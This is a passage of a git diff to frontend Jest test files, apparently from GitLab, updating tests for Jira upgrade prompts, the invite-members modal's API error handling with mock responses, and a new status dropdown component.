const createComponent = ({ isInheriting = false, props, ...options } = {}) => {
@@ -37,60 +37,79 @@ describe('JiraIssuesFields', () => {
const findEnableCheckboxDisabled = () =>
findEnableCheckbox().find('[type=checkbox]').attributes('disabled');
const findProjectKey = () => wrapper.findComponent(GlFormInput);
- const findJiraUpgradeCta = () => wrapper.findComponent(JiraUpgradeCta);
+ const findPremiumUpgradeCTA = () => wrapper.findByTestId('premium-upgrade-cta');
+ const findUltimateUpgradeCTA = () => wrapper.findByTestId('ultimate-upgrade-cta');
const findJiraForVulnerabilities = () => wrapper.findByTestId('jira-for-vulnerabilities');
const setEnableCheckbox = async (isEnabled = true) =>
findEnableCheckbox().vm.$emit('input', isEnabled);
- describe('jira issues call to action', () => {
- it('shows the premium message', () => {
- createComponent({
- props: { showJiraIssuesIntegration: false },
- });
-
- expect(findJiraUpgradeCta().props()).toMatchObject({
- showPremiumMessage: true,
- showUltimateMessage: false,
- });
- });
-
- it('shows the ultimate message', () => {
- createComponent({
- props: {
- showJiraIssuesIntegration: true,
- showJiraVulnerabilitiesIntegration: false,
- },
- });
-
- expect(findJiraUpgradeCta().props()).toMatchObject({
- showPremiumMessage: false,
- showUltimateMessage: true,
- });
- });
- });
-
describe('template', () => {
- describe('upgrade banner for non-Premium user', () => {
- beforeEach(() => {
- createComponent({ props: { initialProjectKey: '', showJiraIssuesIntegration: false } });
- });
+ describe.each`
+ showJiraIssuesIntegration | showJiraVulnerabilitiesIntegration
+ ${false} | ${false}
+ ${false} | ${true}
+ ${true} | ${false}
+ ${true} | ${true}
+ `(
+ 'when `showJiraIssuesIntegration` is $jiraIssues and `showJiraVulnerabilitiesIntegration` is $jiraVulnerabilities',
+ ({ showJiraIssuesIntegration, showJiraVulnerabilitiesIntegration }) => {
+ beforeEach(() => {
+ createComponent({
+ props: {
+ showJiraIssuesIntegration,
+ showJiraVulnerabilitiesIntegration,
+ },
+ });
+ });
- it('does not show checkbox and input field', () => {
- expect(findEnableCheckbox().exists()).toBe(false);
- expect(findProjectKey().exists()).toBe(false);
- });
- });
+ if (showJiraIssuesIntegration) {
+ it('renders checkbox and input field', () => {
+ expect(findEnableCheckbox().exists()).toBe(true);
+ expect(findEnableCheckboxDisabled()).toBeUndefined();
+ expect(findProjectKey().exists()).toBe(true);
+ });
+
+ it('does not render the Premium CTA', () => {
+ expect(findPremiumUpgradeCTA().exists()).toBe(false);
+ });
+
+ if (!showJiraVulnerabilitiesIntegration) {
+ it.each`
+ scenario | enableJiraIssues
+ ${'when "Enable Jira issues" is checked, renders Ultimate upgrade CTA'} | ${true}
+ ${'when "Enable Jira issues" is unchecked, does not render Ultimate upgrade CTA'} | ${false}
+ `('$scenario', async ({ enableJiraIssues }) => {
+ if (enableJiraIssues) {
+ await setEnableCheckbox();
+ }
+ expect(findUltimateUpgradeCTA().exists()).toBe(enableJiraIssues);
+ });
+ }
+ } else {
+ it('does not render checkbox and input field', () => {
+ expect(findEnableCheckbox().exists()).toBe(false);
+ expect(findProjectKey().exists()).toBe(false);
+ });
+
+ it('renders the Premium CTA', () => {
+ const premiumUpgradeCTA = findPremiumUpgradeCTA();
+
+ expect(premiumUpgradeCTA.exists()).toBe(true);
+ expect(premiumUpgradeCTA.props('upgradePlanPath')).toBe(defaultProps.upgradePlanPath);
+ });
+ }
+
+ it('does not render the Ultimate CTA', () => {
+ expect(findUltimateUpgradeCTA().exists()).toBe(false);
+ });
+ },
+ );
describe('Enable Jira issues checkbox', () => {
beforeEach(() => {
createComponent({ props: { initialProjectKey: '' } });
});
- it('renders enabled checkbox', () => {
- expect(findEnableCheckbox().exists()).toBe(true);
- expect(findEnableCheckboxDisabled()).toBeUndefined();
- });
-
it('renders disabled project_key input', () => {
const projectKey = findProjectKey();
@@ -99,10 +118,6 @@ describe('JiraIssuesFields', () => {
expect(projectKey.attributes('required')).toBeUndefined();
});
- it('does not show upgrade banner', () => {
- expect(findJiraUpgradeCta().exists()).toBe(false);
- });
-
// As per https://vuejs.org/v2/guide/forms.html#Checkbox-1,
// browsers don't include unchecked boxes in form submissions.
it('includes issues_enabled as false even if unchecked', () => {
diff --git a/spec/frontend/invite_members/components/invite_members_modal_spec.js b/spec/frontend/invite_members/components/invite_members_modal_spec.js
index eabbea84234..b828b5d8a04 100644
--- a/spec/frontend/invite_members/components/invite_members_modal_spec.js
+++ b/spec/frontend/invite_members/components/invite_members_modal_spec.js
@@ -1,11 +1,27 @@
-import { GlDropdown, GlDropdownItem, GlDatepicker, GlSprintf, GlLink, GlModal } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
+import {
+ GlDropdown,
+ GlDropdownItem,
+ GlDatepicker,
+ GlFormGroup,
+ GlSprintf,
+ GlLink,
+ GlModal,
+} from '@gitlab/ui';
+import MockAdapter from 'axios-mock-adapter';
import { stubComponent } from 'helpers/stub_component';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
import Api from '~/api';
import ExperimentTracking from '~/experimentation/experiment_tracking';
import InviteMembersModal from '~/invite_members/components/invite_members_modal.vue';
+import MembersTokenSelect from '~/invite_members/components/members_token_select.vue';
import { INVITE_MEMBERS_IN_COMMENT } from '~/invite_members/constants';
+import axios from '~/lib/utils/axios_utils';
+import httpStatus from '~/lib/utils/http_status';
+import { apiPaths, membersApiResponse, invitationsApiResponse } from '../mock_data/api_responses';
+
+let wrapper;
+let mock;
jest.mock('~/experimentation/experiment_tracking');
@@ -26,10 +42,16 @@ const user3 = {
username: 'one_2',
avatar_url: '',
};
+const user4 = {
+ id: 'user-defined-token',
+ name: 'email4@example.com',
+ username: 'one_4',
+ avatar_url: '',
+};
const sharedGroup = { id: '981' };
const createComponent = (data = {}, props = {}) => {
- return shallowMount(InviteMembersModal, {
+ wrapper = shallowMountExtended(InviteMembersModal, {
propsData: {
id,
name,
@@ -51,46 +73,56 @@ const createComponent = (data = {}, props = {}) => {
GlDropdown: true,
GlDropdownItem: true,
GlSprintf,
+ GlFormGroup: stubComponent(GlFormGroup, {
+ props: ['state', 'invalidFeedback'],
+ }),
},
});
};
const createInviteMembersToProjectWrapper = () => {
- return createComponent({ inviteeType: 'members' }, { isProject: true });
+ createComponent({ inviteeType: 'members' }, { isProject: true });
};
const createInviteMembersToGroupWrapper = () => {
- return createComponent({ inviteeType: 'members' }, { isProject: false });
+ createComponent({ inviteeType: 'members' }, { isProject: false });
};
const createInviteGroupToProjectWrapper = () => {
- return createComponent({ inviteeType: 'group' }, { isProject: true });
+ createComponent({ inviteeType: 'group' }, { isProject: true });
};
const createInviteGroupToGroupWrapper = () => {
- return createComponent({ inviteeType: 'group' }, { isProject: false });
+ createComponent({ inviteeType: 'group' }, { isProject: false });
};
-describe('InviteMembersModal', () => {
- let wrapper;
+beforeEach(() => {
+ gon.api_version = 'v4';
+ mock = new MockAdapter(axios);
+});
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
+afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ mock.restore();
+});
+describe('InviteMembersModal', () => {
const findDropdown = () => wrapper.findComponent(GlDropdown);
const findDropdownItems = () => findDropdown().findAllComponents(GlDropdownItem);
const findDatepicker = () => wrapper.findComponent(GlDatepicker);
const findLink = () => wrapper.findComponent(GlLink);
const findIntroText = () => wrapper.find({ ref: 'introText' }).text();
- const findCancelButton = () => wrapper.findComponent({ ref: 'cancelButton' });
- const findInviteButton = () => wrapper.findComponent({ ref: 'inviteButton' });
+ const findCancelButton = () => wrapper.findByTestId('cancel-button');
+ const findInviteButton = () => wrapper.findByTestId('invite-button');
const clickInviteButton = () => findInviteButton().vm.$emit('click');
+ const findMembersFormGroup = () => wrapper.findByTestId('members-form-group');
+ const membersFormGroupInvalidFeedback = () => findMembersFormGroup().props('invalidFeedback');
+ const findMembersSelect = () => wrapper.findComponent(MembersTokenSelect);
describe('rendering the modal', () => {
beforeEach(() => {
- wrapper = createComponent();
+ createComponent();
});
it('renders the modal with the correct title', () => {
@@ -132,7 +164,7 @@ describe('InviteMembersModal', () => {
describe('when inviting to a project', () => {
describe('when inviting members', () => {
it('includes the correct invitee, type, and formatted name', () => {
- wrapper = createInviteMembersToProjectWrapper();
+ createInviteMembersToProjectWrapper();
expect(findIntroText()).toBe("You're inviting members to the test name project.");
});
@@ -140,7 +172,7 @@ describe('InviteMembersModal', () => {
describe('when sharing with a group', () => {
it('includes the correct invitee, type, and formatted name', () => {
- wrapper = createInviteGroupToProjectWrapper();
+ createInviteGroupToProjectWrapper();
expect(findIntroText()).toBe("You're inviting a group to the test name project.");
});
@@ -150,7 +182,7 @@ describe('InviteMembersModal', () => {
describe('when inviting to a group', () => {
describe('when inviting members', () => {
it('includes the correct invitee, type, and formatted name', () => {
- wrapper = createInviteMembersToGroupWrapper();
+ createInviteMembersToGroupWrapper();
expect(findIntroText()).toBe("You're inviting members to the test name group.");
});
@@ -158,7 +190,7 @@ describe('InviteMembersModal', () => {
describe('when sharing with a group', () => {
it('includes the correct invitee, type, and formatted name', () => {
- wrapper = createInviteGroupToGroupWrapper();
+ createInviteGroupToGroupWrapper();
expect(findIntroText()).toBe("You're inviting a group to the test name group.");
});
@@ -167,22 +199,30 @@ describe('InviteMembersModal', () => {
});
describe('submitting the invite form', () => {
- const apiErrorMessage = 'Member already exists';
+ const mockMembersApi = (code, data) => {
+ mock.onPost(apiPaths.GROUPS_MEMBERS).reply(code, data);
+ };
+ const mockInvitationsApi = (code, data) => {
+ mock.onPost(apiPaths.GROUPS_INVITATIONS).reply(code, data);
+ };
+
+ const expectedEmailRestrictedError =
+ "email 'email@example.com' does not match the allowed domains: example1.org";
+ const expectedSyntaxError = 'email contains an invalid email address';
describe('when inviting an existing user to group by user ID', () => {
const postData = {
- user_id: '1',
+ user_id: '1,2',
access_level: defaultAccessLevel,
expires_at: undefined,
invite_source: inviteSource,
format: 'json',
};
- describe('when invites are sent successfully', () => {
+ describe('when member is added successfully', () => {
beforeEach(() => {
- wrapper = createInviteMembersToGroupWrapper();
+ createComponent({ newUsersToInvite: [user1, user2] });
- wrapper.setData({ newUsersToInvite: [user1] });
wrapper.vm.$toast = { show: jest.fn() };
jest.spyOn(Api, 'addGroupMembersByUserId').mockResolvedValue({ data: postData });
jest.spyOn(wrapper.vm, 'showToastMessageSuccess');
@@ -190,54 +230,102 @@ describe('InviteMembersModal', () => {
clickInviteButton();
});
- it('calls Api addGroupMembersByUserId with the correct params', () => {
+ it('calls Api addGroupMembersByUserId with the correct params', async () => {
+ await waitForPromises;
+
expect(Api.addGroupMembersByUserId).toHaveBeenCalledWith(id, postData);
});
- it('displays the successful toastMessage', () => {
+ it('displays the successful toastMessage', async () => {
+ await waitForPromises;
+
expect(wrapper.vm.showToastMessageSuccess).toHaveBeenCalled();
});
});
- describe('when the invite received an api error message', () => {
+ describe('when member is not added successfully', () => {
beforeEach(() => {
- wrapper = createComponent({ newUsersToInvite: [user1] });
+ createInviteMembersToGroupWrapper();
- wrapper.vm.$toast = { show: jest.fn() };
- jest
- .spyOn(Api, 'addGroupMembersByUserId')
- .mockRejectedValue({ response: { data: { message: apiErrorMessage } } });
- jest.spyOn(wrapper.vm, 'showToastMessageError');
+ wrapper.setData({ newUsersToInvite: [user1] });
+ });
+
+ it('displays "Member already exists" api message for http status conflict', async () => {
+ mockMembersApi(httpStatus.CONFLICT, membersApiResponse.MEMBER_ALREADY_EXISTS);
clickInviteButton();
+
+ await waitForPromises();
+
+ expect(membersFormGroupInvalidFeedback()).toBe('Member already exists');
+ expect(findMembersFormGroup().props('state')).toBe(false);
+ expect(findMembersSelect().props('validationState')).toBe(false);
});
- it('displays the apiErrorMessage in the toastMessage', async () => {
+ it('clears the invalid state and message once the list of members to invite is cleared', async () => {
+ mockMembersApi(httpStatus.CONFLICT, membersApiResponse.MEMBER_ALREADY_EXISTS);
+
+ clickInviteButton();
+
await waitForPromises();
- expect(wrapper.vm.showToastMessageError).toHaveBeenCalledWith({
- response: { data: { message: apiErrorMessage } },
- });
+ expect(membersFormGroupInvalidFeedback()).toBe('Member already exists');
+ expect(findMembersFormGroup().props('state')).toBe(false);
+ expect(findMembersSelect().props('validationState')).toBe(false);
+
+ findMembersSelect().vm.$emit('clear');
+
+ await waitForPromises();
+
+ expect(membersFormGroupInvalidFeedback()).toBe('');
+ expect(findMembersFormGroup().props('state')).not.toBe(false);
+ expect(findMembersSelect().props('validationState')).not.toBe(false);
});
- });
- describe('when any invite failed for any other reason', () => {
- beforeEach(() => {
- wrapper = createComponent({ newUsersToInvite: [user1, user2] });
+ it('displays the generic error for http server error', async () => {
+ mockMembersApi(httpStatus.INTERNAL_SERVER_ERROR, 'Request failed with status code 500');
- wrapper.vm.$toast = { show: jest.fn() };
- jest
- .spyOn(Api, 'addGroupMembersByUserId')
- .mockRejectedValue({ response: { data: { success: false } } });
- jest.spyOn(wrapper.vm, 'showToastMessageError');
+ clickInviteButton();
+
+ await waitForPromises();
+
+ expect(membersFormGroupInvalidFeedback()).toBe('Something went wrong');
+ });
+
+ it('displays the restricted user api message for response with bad request', async () => {
+ mockMembersApi(httpStatus.BAD_REQUEST, membersApiResponse.SINGLE_USER_RESTRICTED);
clickInviteButton();
+
+ await waitForPromises();
+
+ expect(membersFormGroupInvalidFeedback()).toBe(expectedEmailRestrictedError);
});
- it('displays the generic error toastMessage', async () => {
+ it('displays the first part of the error when multiple existing users are restricted by email', async () => {
+ mockMembersApi(httpStatus.CREATED, membersApiResponse.MULTIPLE_USERS_RESTRICTED);
+
+ clickInviteButton();
+
await waitForPromises();
- expect(wrapper.vm.showToastMessageError).toHaveBeenCalled();
+ expect(membersFormGroupInvalidFeedback()).toBe(
+ "root: User email 'admin@example.com' does not match the allowed domain of example2.com",
+ );
+ expect(findMembersSelect().props('validationState')).toBe(false);
+ });
+
+ it('displays an access_level error message received for the existing user', async () => {
+ mockMembersApi(httpStatus.BAD_REQUEST, membersApiResponse.SINGLE_USER_ACCESS_LEVEL);
+
+ clickInviteButton();
+
+ await waitForPromises();
+
+ expect(membersFormGroupInvalidFeedback()).toBe(
+ 'should be greater than or equal to Owner inherited membership from group Gitlab Org',
+ );
+ expect(findMembersSelect().props('validationState')).toBe(false);
});
});
});
@@ -253,7 +341,7 @@ describe('InviteMembersModal', () => {
describe('when invites are sent successfully', () => {
beforeEach(() => {
- wrapper = createComponent({ newUsersToInvite: [user3] });
+ createComponent({ newUsersToInvite: [user3] });
wrapper.vm.$toast = { show: jest.fn() };
jest.spyOn(Api, 'inviteGroupMembersByEmail').mockResolvedValue({ data: postData });
@@ -271,23 +359,84 @@ describe('InviteMembersModal', () => {
});
});
- describe('when any invite failed for any reason', () => {
+ describe('when invites are not sent successfully', () => {
beforeEach(() => {
- wrapper = createComponent({ newUsersToInvite: [user1, user2] });
+ createInviteMembersToGroupWrapper();
+
+ wrapper.setData({ newUsersToInvite: [user3] });
+ });
+
+ it('displays the api error for invalid email syntax', async () => {
+ mockInvitationsApi(httpStatus.BAD_REQUEST, invitationsApiResponse.EMAIL_INVALID);
+
+ clickInviteButton();
+
+ await waitForPromises();
+
+ expect(membersFormGroupInvalidFeedback()).toBe(expectedSyntaxError);
+ expect(findMembersSelect().props('validationState')).toBe(false);
+ });
+ it('displays the restricted email error when restricted email is invited', async () => {
+ mockInvitationsApi(httpStatus.CREATED, invitationsApiResponse.EMAIL_RESTRICTED);
+
+ clickInviteButton();
+
+ await waitForPromises();
+
+ expect(membersFormGroupInvalidFeedback()).toContain(expectedEmailRestrictedError);
+ expect(findMembersSelect().props('validationState')).toBe(false);
+ });
+
+ it('displays the successful toast message when email has already been invited', async () => {
+ mockInvitationsApi(httpStatus.CREATED, invitationsApiResponse.EMAIL_TAKEN);
wrapper.vm.$toast = { show: jest.fn() };
- jest
- .spyOn(Api, 'addGroupMembersByUserId')
- .mockRejectedValue({ response: { data: { success: false } } });
- jest.spyOn(wrapper.vm, 'showToastMessageError');
+ jest.spyOn(wrapper.vm, 'showToastMessageSuccess');
+
+ clickInviteButton();
+
+ await waitForPromises();
+
+ expect(wrapper.vm.showToastMessageSuccess).toHaveBeenCalled();
+ expect(findMembersSelect().props('validationState')).toBe(null);
+ });
+
+ it('displays the first error message when multiple emails return a restricted error message', async () => {
+ mockInvitationsApi(httpStatus.CREATED, invitationsApiResponse.MULTIPLE_EMAIL_RESTRICTED);
clickInviteButton();
+
+ await waitForPromises();
+
+ expect(membersFormGroupInvalidFeedback()).toContain(expectedEmailRestrictedError);
+ expect(findMembersSelect().props('validationState')).toBe(false);
+ });
+
+ it('displays the invalid syntax error for bad request', async () => {
+ mockInvitationsApi(httpStatus.BAD_REQUEST, invitationsApiResponse.ERROR_EMAIL_INVALID);
+
+ clickInviteButton();
+
+ await waitForPromises();
+
+ expect(membersFormGroupInvalidFeedback()).toBe(expectedSyntaxError);
+ expect(findMembersSelect().props('validationState')).toBe(false);
});
+ });
+
+ describe('when multiple emails are invited at the same time', () => {
+ it('displays the invalid syntax error if one of the emails is invalid', async () => {
+ createInviteMembersToGroupWrapper();
+
+ wrapper.setData({ newUsersToInvite: [user3, user4] });
+ mockInvitationsApi(httpStatus.CREATED, invitationsApiResponse.ERROR_EMAIL_INVALID);
+
+ clickInviteButton();
- it('displays the generic error toastMessage', async () => {
await waitForPromises();
- expect(wrapper.vm.showToastMessageError).toHaveBeenCalled();
+ expect(membersFormGroupInvalidFeedback()).toBe(expectedSyntaxError);
+ expect(findMembersSelect().props('validationState')).toBe(false);
});
});
});
@@ -305,7 +454,7 @@ describe('InviteMembersModal', () => {
describe('when invites are sent successfully', () => {
beforeEach(() => {
- wrapper = createComponent({ newUsersToInvite: [user1, user3] });
+ createComponent({ newUsersToInvite: [user1, user3] });
wrapper.vm.$toast = { show: jest.fn() };
jest.spyOn(Api, 'inviteGroupMembersByEmail').mockResolvedValue({ data: postData });
@@ -350,24 +499,20 @@ describe('InviteMembersModal', () => {
describe('when any invite failed for any reason', () => {
beforeEach(() => {
- wrapper = createComponent({ newUsersToInvite: [user1, user3] });
+ createInviteMembersToGroupWrapper();
- wrapper.vm.$toast = { show: jest.fn() };
-
- jest
- .spyOn(Api, 'inviteGroupMembersByEmail')
- .mockRejectedValue({ response: { data: { success: false } } });
+ wrapper.setData({ newUsersToInvite: [user1, user3] });
- jest.spyOn(Api, 'addGroupMembersByUserId').mockResolvedValue({ data: postData });
- jest.spyOn(wrapper.vm, 'showToastMessageError');
+ mockInvitationsApi(httpStatus.BAD_REQUEST, invitationsApiResponse.EMAIL_INVALID);
+ mockMembersApi(httpStatus.OK, '200 OK');
clickInviteButton();
});
- it('displays the generic error toastMessage', async () => {
+ it('displays the first error message', async () => {
await waitForPromises();
- expect(wrapper.vm.showToastMessageError).toHaveBeenCalled();
+ expect(membersFormGroupInvalidFeedback()).toBe(expectedSyntaxError);
});
});
});
@@ -382,7 +527,7 @@ describe('InviteMembersModal', () => {
};
beforeEach(() => {
- wrapper = createComponent({ groupToBeSharedWith: sharedGroup });
+ createComponent({ groupToBeSharedWith: sharedGroup });
wrapper.setData({ inviteeType: 'group' });
wrapper.vm.$toast = { show: jest.fn() };
@@ -403,7 +548,7 @@ describe('InviteMembersModal', () => {
describe('when sharing the group fails', () => {
beforeEach(() => {
- wrapper = createComponent({ groupToBeSharedWith: sharedGroup });
+ createComponent({ groupToBeSharedWith: sharedGroup });
wrapper.setData({ inviteeType: 'group' });
wrapper.vm.$toast = { show: jest.fn() };
@@ -412,22 +557,20 @@ describe('InviteMembersModal', () => {
.spyOn(Api, 'groupShareWithGroup')
.mockRejectedValue({ response: { data: { success: false } } });
- jest.spyOn(wrapper.vm, 'showToastMessageError');
-
clickInviteButton();
});
- it('displays the generic error toastMessage', async () => {
+ it('displays the generic error message', async () => {
await waitForPromises();
- expect(wrapper.vm.showToastMessageError).toHaveBeenCalled();
+ expect(membersFormGroupInvalidFeedback()).toBe('Something went wrong');
});
});
});
describe('tracking', () => {
beforeEach(() => {
- wrapper = createComponent({ newUsersToInvite: [user3] });
+ createComponent({ newUsersToInvite: [user3] });
wrapper.vm.$toast = { show: jest.fn() };
jest.spyOn(Api, 'inviteGroupMembersByEmail').mockResolvedValue({});
diff --git a/spec/frontend/invite_members/components/members_token_select_spec.js b/spec/frontend/invite_members/components/members_token_select_spec.js
index f6e79d3607f..12db7e42464 100644
--- a/spec/frontend/invite_members/components/members_token_select_spec.js
+++ b/spec/frontend/invite_members/components/members_token_select_spec.js
@@ -115,6 +115,21 @@ describe('MembersTokenSelect', () => {
expect(wrapper.emitted().input[0][0]).toEqual([user1, user2]);
});
});
+
+ describe('when user is removed', () => {
+ it('emits `clear` event', () => {
+ findTokenSelector().vm.$emit('token-remove', [user1]);
+
+ expect(wrapper.emitted('clear')).toEqual([[]]);
+ });
+
+ it('does not emit `clear` event when there are still tokens selected', () => {
+ findTokenSelector().vm.$emit('input', [user1, user2]);
+ findTokenSelector().vm.$emit('token-remove', [user1]);
+
+ expect(wrapper.emitted('clear')).toBeUndefined();
+ });
+ });
});
describe('when text input is blurred', () => {
diff --git a/spec/frontend/invite_members/mock_data/api_responses.js b/spec/frontend/invite_members/mock_data/api_responses.js
new file mode 100644
index 00000000000..79b56a33708
--- /dev/null
+++ b/spec/frontend/invite_members/mock_data/api_responses.js
@@ -0,0 +1,74 @@
+const INVITATIONS_API_EMAIL_INVALID = {
+ message: { error: 'email contains an invalid email address' },
+};
+
+const INVITATIONS_API_ERROR_EMAIL_INVALID = {
+ error: 'email contains an invalid email address',
+};
+
+const INVITATIONS_API_EMAIL_RESTRICTED = {
+ message: {
+ 'email@example.com':
+ "Invite email 'email@example.com' does not match the allowed domains: example1.org",
+ },
+ status: 'error',
+};
+
+const INVITATIONS_API_MULTIPLE_EMAIL_RESTRICTED = {
+ message: {
+ 'email@example.com':
+ "Invite email email 'email@example.com' does not match the allowed domains: example1.org",
+ 'email4@example.com':
+ "Invite email email 'email4@example.com' does not match the allowed domains: example1.org",
+ },
+ status: 'error',
+};
+
+const INVITATIONS_API_EMAIL_TAKEN = {
+ message: {
+ 'email@example2.com': 'Invite email has already been taken',
+ },
+ status: 'error',
+};
+
+const MEMBERS_API_MEMBER_ALREADY_EXISTS = {
+ message: 'Member already exists',
+};
+
+const MEMBERS_API_SINGLE_USER_RESTRICTED = {
+ message: { user: ["email 'email@example.com' does not match the allowed domains: example1.org"] },
+};
+
+const MEMBERS_API_SINGLE_USER_ACCESS_LEVEL = {
+ message: {
+ access_level: [
+ 'should be greater than or equal to Owner inherited membership from group Gitlab Org',
+ ],
+ },
+};
+
+const MEMBERS_API_MULTIPLE_USERS_RESTRICTED = {
+ message:
+ "root: User email 'admin@example.com' does not match the allowed domain of example2.com and user18: User email 'user18@example.org' does not match the allowed domain of example2.com",
+ status: 'error',
+};
+
+export const apiPaths = {
+ GROUPS_MEMBERS: '/api/v4/groups/1/members',
+ GROUPS_INVITATIONS: '/api/v4/groups/1/invitations',
+};
+
+export const membersApiResponse = {
+ MEMBER_ALREADY_EXISTS: MEMBERS_API_MEMBER_ALREADY_EXISTS,
+ SINGLE_USER_ACCESS_LEVEL: MEMBERS_API_SINGLE_USER_ACCESS_LEVEL,
+ SINGLE_USER_RESTRICTED: MEMBERS_API_SINGLE_USER_RESTRICTED,
+ MULTIPLE_USERS_RESTRICTED: MEMBERS_API_MULTIPLE_USERS_RESTRICTED,
+};
+
+export const invitationsApiResponse = {
+ EMAIL_INVALID: INVITATIONS_API_EMAIL_INVALID,
+ ERROR_EMAIL_INVALID: INVITATIONS_API_ERROR_EMAIL_INVALID,
+ EMAIL_RESTRICTED: INVITATIONS_API_EMAIL_RESTRICTED,
+ MULTIPLE_EMAIL_RESTRICTED: INVITATIONS_API_MULTIPLE_EMAIL_RESTRICTED,
+ EMAIL_TAKEN: INVITATIONS_API_EMAIL_TAKEN,
+};
diff --git a/spec/frontend/invite_members/utils/response_message_parser_spec.js b/spec/frontend/invite_members/utils/response_message_parser_spec.js
new file mode 100644
index 00000000000..3c88b5a2418
--- /dev/null
+++ b/spec/frontend/invite_members/utils/response_message_parser_spec.js
@@ -0,0 +1,36 @@
+import {
+ responseMessageFromSuccess,
+ responseMessageFromError,
+} from '~/invite_members/utils/response_message_parser';
+
+describe('Response message parser', () => {
+ const expectedMessage = 'expected display message';
+
+ describe('parse message from successful response', () => {
+ const exampleKeyedMsg = { 'email@example.com': expectedMessage };
+ const exampleUserMsgMultiple =
+ ' and username1: id not found and username2: email is restricted';
+
+ it.each([
+ [[{ data: { message: expectedMessage } }]],
+ [[{ data: { message: expectedMessage + exampleUserMsgMultiple } }]],
+ [[{ data: { error: expectedMessage } }]],
+ [[{ data: { message: [expectedMessage] } }]],
+ [[{ data: { message: exampleKeyedMsg } }]],
+ ])(`returns "${expectedMessage}" from success response: %j`, (successResponse) => {
+ expect(responseMessageFromSuccess(successResponse)).toBe(expectedMessage);
+ });
+ });
+
+ describe('message from error response', () => {
+ it.each([
+ [{ response: { data: { error: expectedMessage } } }],
+ [{ response: { data: { message: { user: [expectedMessage] } } } }],
+ [{ response: { data: { message: { access_level: [expectedMessage] } } } }],
+ [{ response: { data: { message: { error: expectedMessage } } } }],
+ [{ response: { data: { message: expectedMessage } } }],
+ ])(`returns "${expectedMessage}" from error response: %j`, (errorResponse) => {
+ expect(responseMessageFromError(errorResponse)).toBe(expectedMessage);
+ });
+ });
+});
diff --git a/spec/frontend/issuable/components/issuable_by_email_spec.js b/spec/frontend/issuable/components/issuable_by_email_spec.js
index f11c41fe25d..01abf239e57 100644
--- a/spec/frontend/issuable/components/issuable_by_email_spec.js
+++ b/spec/frontend/issuable/components/issuable_by_email_spec.js
@@ -154,10 +154,7 @@ describe('IssuableByEmail', () => {
await clickResetEmail();
- expect(mockToastShow).toHaveBeenCalledWith(
- 'There was an error when reseting email token.',
- { type: 'error' },
- );
+ expect(mockToastShow).toHaveBeenCalledWith('There was an error when reseting email token.');
expect(findFormInputGroup().props('value')).toBe('user@gitlab.com');
});
});
diff --git a/spec/frontend/issuable_bulk_update_sidebar/components/status_select_spec.js b/spec/frontend/issuable_bulk_update_sidebar/components/status_select_spec.js
new file mode 100644
index 00000000000..09dcb963154
--- /dev/null
+++ b/spec/frontend/issuable_bulk_update_sidebar/components/status_select_spec.js
@@ -0,0 +1,77 @@
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import StatusSelect from '~/issuable_bulk_update_sidebar/components/status_select.vue';
+import { ISSUE_STATUS_SELECT_OPTIONS } from '~/issuable_bulk_update_sidebar/constants';
+
+describe('StatusSelect', () => {
+ let wrapper;
+
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
+ const findHiddenInput = () => wrapper.find('input');
+
+ function createComponent() {
+ wrapper = shallowMount(StatusSelect);
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('with no value selected', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders default text', () => {
+ expect(findDropdown().props('text')).toBe('Select status');
+ });
+
+ it('renders dropdown items with `is-checked` prop set to `false`', () => {
+ const dropdownItems = findAllDropdownItems();
+
+ expect(dropdownItems.at(0).props('isChecked')).toBe(false);
+ expect(dropdownItems.at(1).props('isChecked')).toBe(false);
+ });
+ });
+
+ describe('when selecting a value', () => {
+ const selectItemAtIndex = 0;
+
+ beforeEach(async () => {
+ createComponent();
+ await findAllDropdownItems().at(selectItemAtIndex).vm.$emit('click');
+ });
+
+ it('updates value of the hidden input', () => {
+ expect(findHiddenInput().attributes('value')).toBe(
+ ISSUE_STATUS_SELECT_OPTIONS[selectItemAtIndex].value,
+ );
+ });
+
+ it('updates the dropdown text prop', () => {
+ expect(findDropdown().props('text')).toBe(
+ ISSUE_STATUS_SELECT_OPTIONS[selectItemAtIndex].text,
+ );
+ });
+
+ it('sets dropdown item `is-checked` prop to `true`', () => {
+ const dropdownItems = findAllDropdownItems();
+
+ expect(dropdownItems.at(0).props('isChecked')).toBe(true);
+ expect(dropdownItems.at(1).props('isChecked')).toBe(false);
+ });
+
+ describe('when selecting the value that is already selected', () => {
+ it('clears dropdown selection', async () => {
+ await findAllDropdownItems().at(selectItemAtIndex).vm.$emit('click');
+
+ const dropdownItems = findAllDropdownItems();
+
+ expect(dropdownItems.at(0).props('isChecked')).toBe(false);
+ expect(dropdownItems.at(1).props('isChecked')).toBe(false);
+ expect(findDropdown().props('text')).toBe('Select status');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/issuable_create/components/issuable_form_spec.js b/spec/frontend/issuable_create/components/issuable_form_spec.js
index a074fddf091..30b116bc35c 100644
--- a/spec/frontend/issuable_create/components/issuable_form_spec.js
+++ b/spec/frontend/issuable_create/components/issuable_form_spec.js
@@ -23,6 +23,9 @@ const createComponent = ({
<button class="js-issuable-save">Submit issuable</button>
`,
},
+ stubs: {
+ MarkdownField,
+ },
});
};
diff --git a/spec/frontend/issuable_show/components/issuable_show_root_spec.js b/spec/frontend/issuable_show/components/issuable_show_root_spec.js
index b4c125f4910..7ad409c3a74 100644
--- a/spec/frontend/issuable_show/components/issuable_show_root_spec.js
+++ b/spec/frontend/issuable_show/components/issuable_show_root_spec.js
@@ -133,14 +133,6 @@ describe('IssuableShowRoot', () => {
expect(wrapper.emitted('task-list-update-failure')).toBeTruthy();
});
- it('component emits `sidebar-toggle` event bubbled via issuable-sidebar', () => {
- const issuableSidebar = wrapper.find(IssuableSidebar);
-
- issuableSidebar.vm.$emit('sidebar-toggle', true);
-
- expect(wrapper.emitted('sidebar-toggle')).toBeTruthy();
- });
-
it.each(['keydown-title', 'keydown-description'])(
